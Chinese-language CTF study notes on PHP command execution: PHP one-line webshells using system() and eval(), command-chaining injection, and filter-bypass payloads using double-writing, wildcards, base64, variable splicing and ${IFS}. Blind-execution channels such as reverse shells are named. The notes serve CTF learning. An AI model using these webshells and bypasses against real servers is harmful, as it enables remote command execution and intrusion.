php知识
php基础
0x1 php的基本概念
php
是一种脚本语言,执行在服务器上,通过url访问后来解释执行。
文件后缀为.php
0x2 php的基础语法
$_GET
在浏览器url后面加上?a=b
就是get型的数据提交$_GET
是一个数组,a
就像是索引,b
是值
$_POST
可运用BP、Hackbar进行POST数据
危险函数
<?php
$cmd=$_POST['cmd'];
system($cmd);
?>
eval
将字符串按照php的代码执行
<?php
$code = $_POST['code'];
// echo $code;
eval($code);
?>
php命令执行
0x1 何为命令执行
在CTF中,命令执行一版是指目标服务器上的命令执行,也就是远程命令执行
RCE
- Remote Command Exec(命令执行)
- Remote Code Exec(代码执行)
0x2 php的Command Exec函数
在php中,官方有6种函数可以执行系统命令
- system
- passthru
- exec
- shell_exec
- popen
- pcntl_exec
- 执行运算符
这里系统命令与php所在的服务器操作系统密切相关
- window calc、bat、vbs等等
- linux/unix cat、cp、nc等等
0x3 php命令执行利用
ping -c 1 www.baidu.com
在命令执行有下面几种可能:
- 命令可控 可以控制
ping
这个字符串 - 参数可控
-c
可控 - 参数值可控
1
和www.baidu.com
可控 - 整体可控,但是要突破过滤
参数值可控
例题web7
代码很简单即为列目录,需要我们传入参数dir,如果没有传入,则默认执行无参数命令ls
我们只需要传入&&
就可以实现两个命令并列执行,前面命令执行完毕后会执行后面的命令
相当于
命令A && 命令B
- && 前后连哥哥命令时并列执行 短路
- || 前后两个命令有一个执行成功就可以
- ;独立的两条命令执行
命令可控
/dev/null 2>&1
重定向至黑洞
我们通过短路来使命令一分为二,让后面的命令不回显,正常显示前面的命令。
整体可控
1.黑名单过滤
替换过滤的情况
其程序的目的在于把关键字替换为空即为安全
绕过直接双写绕过即可,比如替换了cat字符串为空,
直接提交ccatat,替换后,结果刚好组成下一个cat
简单,但是实战中经常遇到
双写绕过利用条件也是仅仅限于替换为空,如果替换成其他字符,基本都会走不通,比如替换成ABC
ccatat替换为cABCat,命令执行就会错误
过滤特定字符串(例如flag)的情况
读取flag时遇到过滤了flag关键字时,我们可以使用通配符绕过
通配符需要我们掌握两个符号,分别室*
和?
*
表示任意长度字符,最常见的就是一条命令处理多个文件
比如批量移动文件时 可以使用命令
mv *.txt ./tmp
上面命令会把当前目录所有后缀为txt的文件移动到当前目录下的tmp目录
如果有成百上千的txt文件,使用通配符,即可一条命令完成?
表示占位符,表示1个或者多个字符,比如我们当前目录有个文件abc.txt,需要移动到tmp目录,我们可以这样写
mv abc.txt ./tmp
如果我们有很多类似文件a1c.txt a2c.txt a3c.txt a8aac.txt
这样的文件我们可以使用?来精确匹配
mv a*c.txt ./tmp
# 会移动上述所有的txt文件
mv a?c.txt ./tmp
# 只会移动a1c.txt a2c.txt a3c.txt,不移动a8aac.txt
例题web9
在flag被过滤之时,可以用通配符对应
**过滤cat、more等文件读取命令的情况
在linux中,有很多命令或者程序可以读取文件,如果自己熟悉的命令被ban掉了,那么最好的办法就是打开自己的本地linux环境,寻找不熟悉的命令,或许就有可以读取文件的其他方式
最常见的方式就是用别的命令替换,比如过滤了cat用tac命令读取
甚至nl more od 等等其他命令也可以读取
当然还有思路,用到组合执行的方法来操作,用来构造命令
- cat 1.txt
- cat
echo '1.txt'
- echo '1.txt'|base64 ---> MS50eHQK
- cat
echo 'MS50eHQK'|base64 -d
等价于 cat 1.txt(通杀解)
例题web10
用base64编码绕过
变量拼接
对于上述的通杀法,如果一旦过滤了echo或者base64,就无法使用了
这个时候就可以使用变量拼接法来绕过黑名单
在shell中,是可以定义变量的
a=c;b=at;c=fla;d=g.php;$a$b ${c}${d}
# 等效于 cat flag.php
这里定义了a、b、c、d三个变量,同时用$a或者${c}的形式进行了引用值
- a=ta;b=c; echo $a$b; --> tac
符号过滤
空格过滤的情况
不用空格的姿势
- 读文件时,使用<>代替空格
tac <> flag.php - 使用${IFS}代替空格
tac${IFS}1.txt - 控制字符代替空格
%09 %0b %0c 可以爆破 字符串截取空格
ctfshow=aabbcc ${ctfshow:4:1}
php 动态函数调用
命令执行和代码执行的区别
- 前者执行操作系统命令
- 后者执行脚本语言的代码
函数返回值 函数名字(函数参数);
$ret = system("calc");
蚁剑连接,通过code来连接,控制对方主机
<?php
$code = $_POST['code'];
// echo $code;
eval($code);
虚拟终端使用
例题web18
例题web19
例题web20
例题web21
- 危险函数利用
过滤了黑名单
如果仅仅在代码中过滤了函数名称,那么大概率就等于没过滤
例题web22
上述题目拼接法即可完成
例题web23
例题web24
例题web25
例题web26
例题web27
例题web28
例题web29
对于无回显情况的命令执行
需要一个通道-一个数据传输的路径
shell_exec
system 相比,没有回显结果
例题web14
上题又写入文件二次返回
例题web15
例题web16
对于无回显情况的策略
- 写入文件,二次返回
- DNS信道
- http信道
- 反弹shell信道(需要公网IP)例题web17容器内反弹shell的51种姿势
- 延时
sleep 3